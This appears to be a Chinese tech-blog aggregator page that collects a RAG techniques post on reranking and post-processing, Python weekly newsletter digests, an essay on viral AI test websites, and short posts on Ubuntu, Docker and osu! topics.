基于这个结论,我们可以将检索出的最相关的片段分布在上下文的开头和结尾,而不是直接按相关性排序,比如检索结果是 1 2 3 4 5 6 7 8 9,重排序后可以是 1 3 5 7 9 8 6 4 2,这就是 Long-Context Reorder 的核心思路。

LangChain 也支持 Long-Context Reorder

此外,LangChain 中的 ContextualCompressionRetriever 也支持一些不同的过滤策略:

  • LLMChainExtractor

这个过滤器依次将检索文档丢给大模型,让大模型从文档中抽取出和用户问题相关的片段,从而实现过滤的功能。

  • LLMChainFilter

这个过滤器相比 LLMChainExtractor 稍微简单一点,它直接让大模型判断文档和用户问题是否相关,而不是抽取片段,这样做不仅消耗更少的 token,而且处理速度更快,而且可以防止大模型对文档原始内容进行篡改。

  • EmbeddingsFilter

和 LlamaIndex 的 SimilarityPostprocessor 类似,计算每个文档和用户问题的相似度分数,然后通过设置一个分数阈值进行过滤。

  • EmbeddingsRedundantFilter

这个过滤器虽然名字和 EmbeddingsFilter 类似,但是实现原理是不一样的,它不是计算文档和用户问题之间的相似度,而是计算文档之间的相似度,然后把相似的文档过滤掉,有点像 LlamaIndex 的 EmbeddingRecencyPostprocessor

重排序

在上面的过滤策略中,我们经常会用到 Embedding 来计算文档的相似性,然后根据相似性来对文档进行排序,这里的排序被称为 粗排,我们还可以使用一些专门的排序引擎对文档进一步排序和过滤,这被称为 精排。LlamaIndex 支持下面这些重排序策略:

Cohere AI 是一家加拿大初创公司,提供自然语言处理模型,帮助公司改善人机交互。可以使用 Cohere 提供的 Rerank API 来对文档进行相关性重排,过滤不相干的内容从而达到压缩的效果。

使用之前需要先申请和配置 COHERE_API_KEY,并安装 Python 依赖 pip install llama-index-postprocessor-cohere-rerank

LangChain 也集成了 Cohere 的 Rerank API,参考 这里

Jina AI 总部位于柏林,是一家领先的 AI 公司,提供一流的嵌入、重排序和提示优化服务,实现先进的多模态人工智能。可以使用 Jina 提供的 Rerank API 来对文档进行精排。

使用之前需要先申请和配置 JINAAI_API_KEY,并安装 Python 依赖 pip install llama-index-postprocessor-jinaai-rerank

除了使用商业服务,我们也可以使用一些本地模型来实现重排序。比如 sentence-transformer 包中的 交叉编码器(Cross Encoder) 可以用来重新排序节点。

LlamaIndex 默认使用的是 cross-encoder/ms-marco-TinyBERT-L-2-v2 模型,这个是速度最快的。为了权衡模型的速度和准确性,请参考 sentence-transformer 文档,以获取更完整的模型列表。

另一种实现本地重排序的是 ColBERT 模型,它是一种快速准确的检索模型,可以在几十毫秒内对大文本集合进行基于 BERT 的搜索。

使用时需要安装 Python 依赖 pip install llama-index-postprocessor-colbert-rerank

我们还可以使用大模型来做重排序,将文档丢给大模型,然后让大模型对文档的相关性进行评分,从而实现文档的重排序。下面是 LlamaIndex 内置的用于重排序的 Prompt:

DEFAULT_CHOICE_SELECT_PROMPT_TMPL = (
    "A list of documents is shown below. Each document has a number next to it along "
    "with a summary of the document. A question is also provided. \n"
    "Respond with the numbers of the documents "
    "you should consult to answer the question, in order of relevance, as well \n"
    "as the relevance score. The relevance score is a number from 1-10 based on "
    "how relevant you think the document is to the question.\n"
    "Do not include any documents that are not relevant to the question. \n"
    "Example format: \n"
    "Document 1:\n<summary of document 1>\n\n"
    "Document 2:\n<summary of document 2>\n\n"
    "...\n\n"
    "Document 10:\n<summary of document 10>\n\n"
    "Question: <question>\n"
    "Answer:\n"
    "Doc: 9, Relevance: 7\n"
    "Doc: 3, Relevance: 4\n"
    "Doc: 7, Relevance: 3\n\n"
    "Let's try this now: \n\n"
    "{context_str}\n"
    "Question: {query_str}\n"
    "Answer:\n"
)

RankGPT 是 Weiwei Sun 等人在论文 Is ChatGPT Good at Search? Investigating Large Language Models as Re-Ranking Agents 中提出的一种基于大模型的 zero-shot 重排方法,它采用了排列生成方法和滑动窗口策略来高效地对段落进行重排序,具体内容可以参考 RankGPT 的源码

使用时需要安装 Python 依赖 pip install llama-index-postprocessor-rankgpt-rerank

RankLLM 和 RankGPT 类似,也是利用大模型来实现重排,只不过它的重点放在与 FastChat 兼容的开源大模型上,比如 Vicuna 和 Zephyr 等,并且对这些开源模型专门为重排任务进行了微调,比如 RankVicuna 和 RankZephyr 等。

当前 RankLLM 依赖于 CUDA,且需要安装 JDK、PyTorch、Faiss 等依赖,使用时还需要安装 Python 依赖 pip install llama-index-postprocessor-rankllm-rerank

句子窗口检索(Sentence Window Retrieval)

除了对检索结果进行压缩过滤,我们也可以对检索结果进行增强。在上面的父文档检索一节中,我们提到,通过检索更小的块可以获得更好的搜索质量,然后通过扩大上下文范围可以获取更好的推理结果,句子窗口检索 使用的也是这个思想。它首先将文档分割成一个个句子,一句话相比于一段话来说,语义可能要更接近于用户的问题;每个句子包含一个窗口,也就是前后几句话,当检索出语义相近的句子后,将每个句子替换为包含前后句子的窗口。可以看到整个过程和父文档检索几乎是一样的,但是 LlamaIndex 为了区别其实现方式,将其放在了后处理模块,而不是检索模块。

sentence-window.png

LlamaIndex 的文档中有一个示例 Metadata Replacement + Node Sentence Window 演示了句子窗口检索的实现,首先使用 SentenceWindowNodeParser 将文档分割为 Node 列表,每个 Node 对应一个句子,并将前后 3 个句子放在 Node 的元数据中:

from llama_index.core.node_parser import SentenceWindowNodeParser

node_parser = SentenceWindowNodeParser.from_defaults(
    window_size=3,
    window_metadata_key="window",
    original_text_metadata_key="original_text",
)
nodes = node_parser.get_nodes_from_documents(documents)

然后对分割后的句子构建向量索引和查询引擎,最后将 MetadataReplacementNodePostProcessor 设置为查询引擎的后处理模块即可:

from llama_index.core import VectorStoreIndex
from llama_index.core.postprocessor import MetadataReplacementPostProcessor

sentence_index = VectorStoreIndex(nodes)
query_engine = sentence_index.as_query_engine(
    similarity_top_k=2,
    node_postprocessors=[
        MetadataReplacementPostProcessor(target_metadata_key="window")
    ],
)

句子窗口检索通过扩大上下文范围来获取更好的推理结果,其实,LlamaIndex 中还有另外两个后处理器也使用了这种策略:PrevNextNodePostprocessorAutoPrevNextNodePostprocessor,他们将检索结果的前后内容也一并送往大模型,所以也被称为 前向/后向增强(Forward/Backward Augmentation),这在回答一些关于某个时间点之前或之后的问题时非常有用。

prev-next.png

如上图所示,用户的问题是 “作者在 YC 之后的时间里都做了啥?”,如果使用传统的检索方法,可能只检索到作者在 YC 期间的活动,很显然我们可以将文档后面的内容都带出来,更利于大模型的回答。PrevNextNodePostprocessor 通过手动设定向前或向后增强,而 AutoPrevNextNodePostprocessor 通过大模型自动判断是否要向前或向后增强。

敏感信息处理

检索的文档中可能含有如用户名、身份证、手机号等敏感信息,这类信息统称为 PII(Personal Identifiable Information、个人可识别信息),如果将这类信息丢给大模型生成回复,可能存在一定的安全风险,所以需要在后处理步骤中将 PII 信息删除。LlamaIndex 提供了两种方式来 删除 PII 信息:使用大模型(PIINodePostprocessor)和使用专用的 NER 模型(NERPIINodePostprocessor)。

引用来源

一个基于 RAG 的应用不仅要提供答案,还要提供答案的引用来源,这样做有两个好处,首先,用户可以打开引用来源对大模型的回复进行验证,其次,方便用户对特定主体进行进一步的深入研究。

这里是 Perplexity 泄露出来的 Prompt 可供参考,这里是 WebLangChain 对其修改后的实现。在这个 Prompt 中,要求大模型在生成内容时使用 [N] 格式表示来源,然后在客户端解析它并将其呈现为超链接。

总结

这篇博客断断续续地写了将近三个月,最初想写 RAG 这个主题是因为在网上看到 IVAN ILIN 大神的 Advanced RAG Techniques: an Illustrated Overview 这篇博客,看完之后我深受启发,感叹 RAG 技巧之多之杂,于是打算写一篇笔记记录总结一下。我是一个实践狂,在写的过程中,想着把每种技巧都一一实践一遍,由点到线,由线到面,这才发现自己掉入了一个大坑,关于 RAG 的内容远远不是一篇笔记能概括的,于是越陷越深,发现自己不懂的东西也越来越多,笔记的篇幅也越来越长。

RAG 是一门实践学科,它参考了大量的传统搜索技术,比如上面学习的 RAG 融合、查询重写等,都是 Google 多少年之前玩剩下的。学习之余,不得不佩服前人的智慧,同时也提醒我们学习传统技术的重要性,有很多新技术都是基于传统技术的再包装。

这篇博客几乎包括了打造 RAG 系统的方方面面,综合了 LlamaIndex 和 LangChain 两个著名的 LLM 开发框架,对 RAG 中的各种高级技巧进行了详细讲解和实践。尽管如此,还是有很多内容没有介绍到,比如 LlamaIndex 最近比较火的 Agentic RAG 概念,如何对 RAG 的效果进行评估模型的微调(这包括 Embedding 的微调、Re-ranking 的微调、LLM 的微调),等等这些话题。

博客篇幅较长,难免疏漏,如果有任何问题,欢迎留言指正。这篇博客仅仅作为一个引子,希望拓宽读者对 RAG 领域的视野,并引导读者踏上一场 RAG 的探索之旅。如果探索过程中有任何发现,也欢迎与我分享!

参考

更多

Advanced RAG Learning Series | Akash Mathur

Self-RAG | Florian June

Knowledge Graph RAG

RAG Eval

Agentic RAG

Recursive Retrieval

扫描二维码,在手机上阅读!

by aneasystone at June 29, 2024 05:30 AM

pythoncat

Python 潮流周刊#58:最快运行原型的语言

本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
本期周刊分享了 12 篇文章,12 个开源项目,赠书 5 本,全文 2100 字。
以下是本期摘要:
① 最快运行原型的语言
② PEP-2026 提议 Python 采用日历版本号
③ 优化 Python 的路由和调度:一个新的开源求解器 Timefold
④ 深入了解 Python 的集合数据结构
⑤ 使用 weakref 介绍 Python 的弱引用
⑥ 这就是软件开发现在的样子
⑦ 在命令行终端使用大语言模型
⑧ 如何将 Python 包发布到 PyPI?
⑨ 基本 Python 项目设置
⑩ 用 Make 提升 Python 开发者体验
⑪ Notebooks 是代码中的麦当劳
⑫ 花了 6 个月时间开发 LiveAPI 代理,我得到的 10 个经验教训
① Your-Journey-To-Fluent-Python:你的流畅的 Python 之旅
② llm:从命令行访问大语言模型
③ lmdocs:使用 LLM 生成 Python 项目的帮助文档
④ make-python-devex:使用 Make、Homebrew、pyenv、poetry 等工具的示例
⑤ vulture:查找无效的 Python 代码
⑥ CleanMyWechat: 自动删除 PC 端微信缓存数据
⑦ wxauto:Windows 版微信自动化,可发送/接收消息,简单微信机器人
⑧ youdaonote-pull:一键导出/备份有道云笔记的所有笔记
⑨ reladiff:跨数据库对大型数据集作高性能比对
⑩ hrms:开源人力资源和薪资管理软件
⑪ burr:构建能够做出决策的应用(聊天机器人、代理、仿真等)
⑫ thread:AI 驱动的 Jupyter Notebook

目前周刊实行付费订阅制,年费 128 元,平均每天不到 4 毛钱,但绝对是一笔有眼光的投资。花钱学习知识,花钱提升自己,欢迎订阅这个:你绝对不会后悔的专栏
订阅后,可免费查看 第 58 期周刊的全文
PS.本周刊前30期的合集永久免费,另外,付费期数将在其 50 期后免费开放,例如第 58 期将在第 108 期时免费,敬请留意。

June 29, 2024 12:00 AM

June 26, 2024

greatdk

从「文风测试」到「 OC 成分分析器」,AI产品的一波流也有春天

过去 2 周,在 AI 技术圈极少有人知晓的情况下,一个叫做「文风测试」的小网站已经红透了半个社交网络。

文风测试是一个非常简单的网站,你复制你写的文字进去,然后它告诉你,你的写作风格接近哪些作家。

大概 2 周前,我在小红书上发现了有人在介绍文风测试,然后迅速被其效果和风格吸引,但是当我试图打开网站的时候却发现,这个网站打不开,页面显示 502,502 错误往往代表网站不堪重负,也从另一个侧面提示了我,这个网站可能正在承接大量的流量。

我的兴趣更大了,反复刷新依然打不开之后,于是我尝试直接通过 Google 缓存的网页来打开,并终于看到了网站的样子,通过 Google 缓存的网页,我找到了开发者的联系方式,并有点冒昧的直接添加了对方,此时已经是深夜十一点。

和开发者之一的 Ankie 聊了几句之后,我们就直接通了电话,后来另一位全栈工程师也加入了,我们聊了大约 1 个小时,一方面我为这个「全女生」团队的创意,纯粹和执行力感到敬佩,另一方面则对她们互联网产品的基础技术能力之低感到难以置信,但这并不妨碍这个小产品在接下来的好几天里成为多个社交平台的「AI顶流」。

文风测试共有三位主创,其中一位负责模型和算法,另一位则负责前后端全栈,此外还有一位设计师。全栈工程师的专业其实是政治经济,出于兴趣刚刚开始自学网页开发,因此,在网页里能看到很多「上古元素」,例如直接向当前页面发请求,没有任何统计代码,没有前后端分离等等,只需要右键查看网页元素,就能梦回 20 年前。

负责算法和模型的 Ankie 还在上学,学习的正是 AI 方向,因此,和很多人想的不一样,文风测试并没有使用任何大模型,而是 Ankie自己训练的一个小模型,模型小到可以在 CPU 上运行,这其实才是对的——在大模型淹没一起的今天,我们似乎已经忘记了,其实很多场景根本没必要用大模型。事实上,用大模型来做风格鉴定这件事,反而效果极差​。​

另一个 Ankie 决定使用自己的小模型的原因是,她看到之前有人做大模型哄对象的应用,然后其开发者说亏了几千美金,这人是谁我就不提了,总之 Ankie 很好的吸取了经验教训,使得文风测试能够一直以极低的成本运行。

除了在技术上提供一些小帮助外,我还试图积极的帮 Ankie 在如何赚钱或者商业化上出谋划策,但我很快被她们的纯粹打动了,她们真的不想获得什么商业上的回报,和哄哄类似,这是一个完全由兴趣驱动,并只为兴趣服务的小工具。

过去 2 周,总共有近百万人使用了文风测试来测试他们自己的文风(考虑到在我告诉她们得加 Google analytics 之前,流量都甚至没统计过,实际人数可能更多),其背后的模型则依靠 4 台 CPU 服务器来提供服务,在极致的性能压榨下,总共的成本不到 500 元。

在和 Ankie 的交流中,我了解到使用文风测试的绝大部分是二次元圈子里的用户,并因此和许多用户产生沟通,聊着聊着,我就聊出了一个小需求:oc 分析。

不在二次元圈子里,可能完全不知道 oc 是什么意思,oc 本意是自创角色 (Original Character),许多二次元心中都会在心里创建一个理想的角色,这个角色可能脱胎于看过的动漫作品,也可能是完全自己「捏」的,角色会有自己的设定,偏好,外貌,经历的事件,这一切都是用户设定的。

我知道对于像我这样的「大人」来说,oc 听上去就像是某一种过家家,但其实我从来没有忘记二十年前的那个下午,我和邻居小孩走在放学的路上,边走边聊,我自称旋风战士,他管自己叫墩墩侠,我们时而在城楼并肩作战,时而从云端跃入一段异世界的红尘往事,夕阳照在我们身上,是两个小学生的屁颠颠的背影。

oc 对很多年纪不大的喜欢二次元的人们来说,是一个自然甚至必然的爱好,因为这群人就是有许多想象力,许多创造力,而这个世界又不那么能满足。

当 oc 被创建出来之后,人们自然希望能够和其发生更多连接,因此,聊天,将其转成图片,都成了「搞oc」的方式,也因此诞生了许多相关的产品。

我的 idea 很简单,类似于文风测试,用户可以输入自己的 oc 设定,然后看到最接近的动漫角色是谁。

这个产品简单到不可思议,如果说哄哄模拟器还有一点开发量的话,这样一个简单的测试小工具,几乎就是一个两三个小时能做完的事情,所以我在想到 idea 后,迅速花了2个小时的午休时间进行开发,然后在下午就上线了。

上线之后,我和 Ankie 聊了一下,她觉得很有意思,于是帮我转给了她的朋友以及文风测试的一些用户,没想到 oc 成分测试迅速在二次元群体中传播开了,相关的帖子在2小时内得到了 3000 个转发,而从我这里,最直观的感受就是看到流量飞速上涨。

从晚上10点开始,流量每隔半个小时就翻一倍,到凌晨 1 点,网站的即时在线人数已经突破了 1.5 万人,我不知道这群人是不是不睡觉,但是我此时已经困的不行,最后看了一眼数据就倒床入睡了。

第二天流量达到高峰,单日 20 万人来此一游,随后的一周,流量逐渐降低,并回落到 1万左右的 DAU

oc 成分测试既是一个小玩具,又给我们团队的产品进行精准的导流,这部分效果好到不可思议,过去一周,oc 成分测试大约有 30 万人访问,给我们带来了数万 app 下载的转化。

当然,和哄哄模拟器一样,oc 测试和文风测试都有自己的生命周期,称之为「一波流」也并无不可,但在这两个小产品上,我觉得结果都很圆满,文风测试用小模型反过来替代大模型,从而实现成本的绝对优势,主创团队「写论文,练代码」的愿望也超出预期的达成了。oc成分测试是我关于流量的一次实验,它验证了我们团队对一个新的用户群体的理解,从更实际的角度,它也实现了极高效的结果转化——算上大模型的成本,每个 app 安装成本也仅为 2 毛钱。

过去半年,不断有比较单一的 AI 内容产品上线,但在我看来,它们更像是某种模型厂的 KPI 产物——没有从真实的需求出发(哪怕这个需求是有趣),也没有真正的给到目标受众,大多数时候,这些产品只会在几个 AI 交流群中流转。

这种现象过多,加之哄哄模拟器其实也没有什么确定的结果(除了开了一个好头之外),导致我一度对于这种「一波流」充满怀疑。直到现在,我想我终于看到了一些新的,不一样的可能性。

我依稀感觉到,AI 提供核心能力的内容(产品),哪怕是单一形态或一波流,在非 AI 或互联网圈里成为爆款,也是足以完成很多目标的,而这可能是有方法论,可以被复现的。

对踌躇满志的2C AI 创业者来说,这或许不是最终目的本身,但路能行至此,我觉得也算是有所收获。

by DK at June 26, 2024 01:13 AM

June 22, 2024

pythoncat

Python 潮流周刊#57:Python 该采用日历版本吗?

本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
本期周刊分享了 12 篇文章,12 个开源项目,赠书 5 本,全文 2200 字。
以下是本期摘要:
① NumPy 2.0:一个重要的里程碑
② 2024 年 Python 语言峰会:Python 该采用日历版本吗?
③ 2024 年 Python 语言峰会:我们应该让 pdb 变得更好吗?
④ 2024 年 Python 语言峰会:手机端上的 Python
⑤ Python 项目管理入门
⑥ 在 Python 中连接字符串:一个“啊哈”时刻
⑦ 掌握上下文管理器,简化 Python 资源管理
⑧ 如何从Pandas 迁移到 Polars
⑨ 向 CPython 添加 JIT 编译器
⑩ Debug 日志:CPython GH-120437
⑪ 使用 Rust 将 Python AST 的解析速度提高 20 倍
⑫ Ruff:Rust 开发的 Python linter-formatter 的内部原理
① pdf-to-podcast:将任何 PDF 转换为播客节目
② prettypretty:漂亮的终端颜色库
③ django-render:使用 Django 和 React 构建用户友好的应用
④ holmesgpt:GPT 支持的 DevOps 助手
⑤ labelme:用 Python 作图像多边形标注
⑥ aurora:Python 实现的快速、可扩展的静态站点生成器
⑦ httpstat:使 CURL 统计变得简单
⑧ writer-framework:用于创建 AI 应用的全栈框架
⑨ surya:OCR、布局分析、顺序读取、90+ 种语言的行检测
⑩ MiniCPM-Llama3-V 2.5:手机上媲美 GPT-4V 的多模态 LLM
⑪ pyod:用于异常值检测 Python 库
⑫ warp:用于高性能 GPU 仿真和图形的 Python 框架

目前周刊实行付费订阅制,年费 128 元,平均每天不到 4 毛钱,但绝对是一笔有眼光的投资。花钱学习知识,花钱提升自己,欢迎订阅这个:你绝对不会后悔的专栏
订阅后,可免费查看 第 57 期周刊的全文
PS.本周刊前30期的合集永久免费,另外,付费期数将在其 50 期后免费开放,例如第 50 期将在第 100 期时免费,敬请留意。

June 22, 2024 12:00 AM

June 21, 2024

usb

b'Ubuntu 22.04 Jammy \xe5\x8d\x87\xe7\xba\xa7 Ubuntu 24.04 Noble'

b'\xe6\x9c\xac\xe6\x96\x87\xe5\xb0\x86\xe6\x8c\x87\xe5\xaf\xbc\xe5\xa6\x82\xe4\xbd\x95\xe5\x8d\x87\xe7\xba\xa7 Ubuntu 22.04 Jammy Jellyfish \xe5\x88\xb0 Ubuntu 24.04 Noble Numbat\xe3\x80\x82'

by Showfom at June 21, 2024 05:55 AM

b'Docker \xe5\xae\x89\xe8\xa3\x85 FreshRSS \xe6\x95\x99\xe7\xa8\x8b'

b'\xe6\x9c\xac\xe6\x96\x87\xe5\xb0\x86\xe6\x8c\x87\xe5\xaf\xbc\xe5\xa6\x82\xe4\xbd\x95\xe5\x9c\xa8 Linux \xe4\xb8\x8b\xe4\xbd\xbf\xe7\x94\xa8 Docker \xe5\x92\x8c Docker Compose \xe5\xae\x89\xe8\xa3\x85 FreshRSS \xe5\xbc\x80\xe6\xba\x90 RSS \xe8\x81\x9a\xe5\x90\x88\xe5\x99\xa8\xe6\x9c\x8d\xe5\x8a\xa1\xe3\x80\x82'

by Showfom at June 21, 2024 05:29 AM

b'Debian 12 / Ubuntu 24.04 \xe5\xae\x89\xe8\xa3\x85 Docker \xe4\xbb\xa5\xe5\x8f\x8a Docker Compose \xe6\x95\x99\xe7\xa8\x8b'

b'\xe6\x9c\xac\xe6\x96\x87\xe5\xb0\x86\xe6\x8c\x87\xe5\xaf\xbc\xe5\xa6\x82\xe4\xbd\x95\xe5\x9c\xa8 Debian 12 \xe5\x92\x8c Ubuntu 24.04 \xe4\xb8\x8b\xe5\xae\x89\xe8\xa3\x85 Docker \xe4\xbb\xa5\xe5\x8f\x8a Docker Compose\xe3\x80\x82'

by Showfom at June 21, 2024 12:00 AM

June 18, 2024

howiehz

我维护的 halo 主题,现已发布到 halo 应用商店!

如上图,我维护的主题已经通过了审批。 应用商店地址:应用:彼岸-皓改 - Halo - 强大易用的开源建站工具 本站初发布地址:halo-theme-higan-hz - 一个基于 halo-theme-higan 的魔改主题 (howiehz.top) 致谢 想说不少话,但是打字的时候又写不出来了

by HowieHz at June 18, 2024 02:17 AM

June 15, 2024

howiehz

OSU!Standard(osu!std)/OSU!Taiko 转 OSU!Mania 铺面转换器发布

项目原地址(github):HowieHz/osu-beatmap-to-mania-converter: Convert osu!standard(osu!std) to osu!mania (github.com) 本页面是为了访问 GitHub 不畅的小伙伴制作的镜像,内容更新可能会有延迟,请

by HowieHz at June 15, 2024 06:30 PM

我常用的 OSU!Mania 皮肤分享

我的视频底下很多人问我的皮肤,我懒得一个个发。想写个专栏但是直接已锁定 | 文章异常。只能发在自己博客里了。 这个皮肤一开始是从一个 up 那里要的,是谁我忘记了。 我在这个基础上做出的修改: 4k 游玩界面取自台湾一哥。 8k 游玩界面中加了根线。 进到皮肤所在文件夹,里面有个文件夹叫 ModeC

by HowieHz at June 15, 2024 06:02 PM

pythoncat

Python 潮流周刊#56:NumPy 2.0 里更快速的字符串函数

本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
本期周刊分享了 12 篇文章,12 个开源项目,赠书 5 本,全文 2100 字。(PS.全新的赠书规则,31 本书籍任选,请查看Python猫周刊赠书规则与书单
以下是本期摘要:
① 给 NumPy 2.0 实现更快速的字符串函数
② Python 中的 __pycache__ 文件夹是什么?
③ CPython 垃圾回收:内部机制和实现算法
④ 从零开始搭建自己的相似图片搜索引擎
⑤ 使用 Pydantic Logfire 满足你的日志记录需求
⑥ FastAPI 深度揭秘:高效 Web 开发指南
⑦ 通过用 Python 实现 HTTP 服务器来理解它
⑧ 我对“Excel 里的 Python”的看法
⑨ 用 Python 将卷曲文本的图像提取成 PDF
⑩ Python Celery 的缺陷
⑪ 事件驱动的 Ansible,是什么、为什么以及如何使用?
⑫ 我国出版的 Python 教材几乎都有基本概念错误
① WeasyPrint:非常棒的工具,将 Web 生成 PDF 文档
② oxo:现代的安全扫描编排器
③ jupyterlab-desktop:JupyterLab 桌面版,基于 Electron
④ teo:模式驱动的 Web 服务端框架
⑤ aiosql:Python 中的简单 SQL
⑥ thread:AI 驱动的 Python 笔记本,使用 React 构建
⑦ OpenRecall:Windows Recall 的开源替代
⑧ requests-futures:使用 Futures 实现的异步 Python HTTP Requests
⑨ websocket-client:Python 的 WebSocket 客户端
⑩ Freeway:WiFi 渗透测试与审计工具
⑪ cibuildwheel:以最少的配置为所有平台构建 Python wheel
⑫ 超过 6000 份免费的速查表

目前周刊实行付费订阅制,年费 128 元,平均每天不到 4 毛钱,但绝对是一笔有眼光的投资。花钱学习知识,花钱提升自己,欢迎订阅这个:你绝对不会后悔的专栏
订阅后,可免费查看 第 56 期周刊的全文
PS.本周刊前30期的合集永久免费,另外,付费期数将在其 50 期后免费开放,例如第 50 期将在第 100 期时免费,敬请留意。

June 15, 2024 12:00 AM

Python猫周刊赠书规则与书单

你好,我是猫哥。在创作《Python潮流周刊》一年多的时间里,我已累计通过抽奖赠书 80 本!早期周刊是免费分享,所以参与人数很多,现在周刊转为付费后,参与人数较少。
在人数较少的情况下,我考虑将送福利的方式调整一下,以便能普惠到更多读者,答谢大家对潮流周刊的支持!

赠书规则

1、仅限周刊的付费订阅读者参与
2、每期赠书约 5 人,每人可从奖品书单中任选一本书
3、参与方式一:小报童的本文下方留言,说说在过去一年里,对你影响最大的一个东西是什么(比如某本书、电影、思维方法等),它如何影响了你?希望你的留言是对他人也有启发的。
4、参与方式二:通过小报童的邀请海报或邀请链接,邀请超过 3 人全年订阅本周刊,可获赠任选一本书
5、参与方式三:可能还有额外的赠书,会在微信福利群中抽奖送出(猫哥微信可从Python猫公众号获取)
6、以上每种方式可叠加,预计每期周刊选出 5 人
7、规则可能会调整,以最新发文时为准

推荐书单(感谢人民邮电出版社的赞助)

Python工匠
流畅的Python
(附:可查看我写的一篇书评《《流畅的Python》第二版怎么样?》)
Python数据结构与算法分析(第3版)
明解Python算法与数据结构
Python语言及其应用(第2版)
Python基础教程(第3版·修订版)
Python编程:从入门到实践(第3版)
图解TCP/IP(第6版)
Hello算法
黑客与画家(10万册纪念版)
图解IT基础设施
网络是怎样连接的
程序是怎样跑起来的(第3版)
计算机是怎样跑起来的(第2版)
TCP是怎样工作的
面向对象是怎样工作的(第3版)
Linux是怎样工作的
机器人是怎样工作的(图解版)
Python 3网络爬虫开发实战(第2版)
用Python动手学机器学习
用Python动手学强化学习
用Python动手学统计学
这就是ChatGPT
大模型应用开发极简入门:基于GPT-4和ChatGPT
深度学习入门:基于Python的理论与实现
深度学习入门2:自制框架
ChatGPT高效提问:prompt技巧大揭秘
ChatGPT:人类新纪元
ChatGPT从入门到精通
利用ChatGPT进行数据分析
只是为了好玩:Linux之父林纳斯自传(修订版)
最后想说一下,订阅我们周刊的人数越多,送福利的活动就越可持续,未来才有可能增加其它福利。
所以,请大家积极留言互动,并将周刊分享给其他朋友~~
付费订阅入口,目前只支持三种方式:
  • 小报童 (需用微信登录,可微信和邮箱接收更新)

  • 爱发电 (支持邮箱登录)

  • FlowUs(支持手机号、邮箱和微信登录)

June 15, 2024 12:00 AM

June 13, 2024

howiehz

【高中化学】电荷守恒辨析:为什么一个离子带多个电荷要乘上所带电荷数而不是除以所带电荷数

前情提要 这条描述的是 溶液是电中性的,因此阳离子带的正电荷总数 = 阴离子带的负电荷总数。 在实际教学中,发现很多同学对这个电荷守恒表示困惑。 比如我们说 NaHCO3 溶液的电荷守恒是这样写:c(Na+)+c(H+)=c(OH-)+c(HCO3-)+2c(CO32-)。 (其中字母 c 是 co

by HowieHz at June 13, 2024 12:29 PM

注意!align-items: flex-start 会导致 overflow-wrap: break-word 失效

如下图,之前在修 halo-theme-higan 主题的 bug(相关 Issue)遇到的。 两幅图的代码变更在第 14 行。 示例代码如下

by HowieHz at June 13, 2024 11:36 AM

June 10, 2024

pythoncat

Python 潮流周刊#55:分享 9 个高质量的技术类信息源!

大家好,我是猫哥,今天给大家分享几个高质量的技术类信息源。
本文分享的信息源都是周刊类型的,所谓周刊类,就是以固定每周的频率更新,每期分享很多精华内容的链接。它的特点是信息密度极高,可以节省你去查找信息的时间,高效的学习者都会喜欢这类内容。
如果不是看了这篇文章,我猜你可能想不到 Python 竟会有那么多的好东西,所以建议你可以收藏起来,总会有用的。
接下来我会逐一介绍每个信息源,并给出简短的点评。推荐指数从低到高,越往后面的越值得推荐!话不多说,开始吧——

1、Awesome Python Weekly

一份创刊自 2016 年的老牌周刊,每期分享大约 10 篇文章和 5 个开源项目,只有标题和链接,没有推荐语。已有 22K 订阅。
我并不推荐订阅,原因是:它是唯二把喂养蟒蛇的文章当成 Python 技术文章分享的;开源项目的链接放的是它网站的链接,需要再点一次才能跳到 Github;每期周刊有 3 则广告,而且是带描述语的,妥妥是所有周刊里含广率最高的……
虽然不推荐订阅,但我挺佩服周刊作者,因为他有 20 份技术类的周刊矩阵,能挣不少钱吧……
推荐指数:⭐

2、Python weekly newsletter

这份周刊跟上一份有不少相似之处:有标题和链接(以及评论数),但没有推荐语;曾把喂养蟒蛇的文章当成技术文章;作者有近 20 份技术类周刊,矩阵化自动化更新。
它很明显的特点是内容基本抓取自 Hacker News、Reddit、Twitter 和 Mastodon,比较依赖于评论热度,但质量良莠不齐。
它比上一份更值得推荐的点是:每期分享的文章、项目及视频较多,总数大约 25-30 条,而且很少有广告。
推荐指数:⭐⭐

3、This Week in Python

一份创立自 2022 年 3 月的周刊,每期固定分享 5 篇文章和 5 个开源项目。早期在每篇文章后有一句话简短介绍,现在只剩标题了,内容少而精,但是都能在其它周刊找到。没有广告。
值得推荐的点有:博主长期纯粹出于热爱的更新,以及偶尔会发布自己原创的文章。建议有自己博客的同学,可以像他一样每周简单分享自己阅读过的一些文章/项目的链接,人人都可以拥有自己的极简版周刊。
推荐指数:⭐⭐
订阅链接:https://bas.codes

4、Python on Microcontrollers Newsletter

这是 Python + 硬件方向的周刊,最近达到了 11K 订阅,成绩还不错。几乎没有广告。排版有点伤眼睛。
周刊以微控制器为题,其实是单板机(如树莓派)。随着物联网和智能家居等领域的发展,Python 与硬件的结合蛮有发展前景,只是这个领域的话题在国内比较小众。
推荐指数:⭐⭐⭐

5、Django News

创刊于 2019 年 12 月,聚焦于 Django 领域,内容主要是 Django 的新闻、开发版进展、文章、项目、活动和招聘等,不像其它周刊都是比较泛的话题。目前有 3.8K 订阅。
相比其它周刊,它的订阅数很少,但是广告收入很强。它是唯一公开报价,并可在线预约档期的周刊,每期两个广告位,每个 200 美元。
推荐指数:⭐⭐⭐

6、Python Hub Weekly Digest

创刊于 2012 年,应该是最早的周刊之一,作者是乌克兰人。每期大约 11 篇文章和 8 个开源项目/话题。
每期会包含前一两周的热门内容,而且常有一些发布时间很久的、近期没在其它周刊出现的内容。文章后基本都有一段介绍语,但内容经常只是简单摘自原文。它没有视频分类,所以常在“文章”类别下夹带视频。
页面干净,一直坚持无广告。它的社交账号很活跃,在 X 上有近 140K 关注。
推荐指数:⭐⭐⭐⭐

7、Pycoder’s Weekly

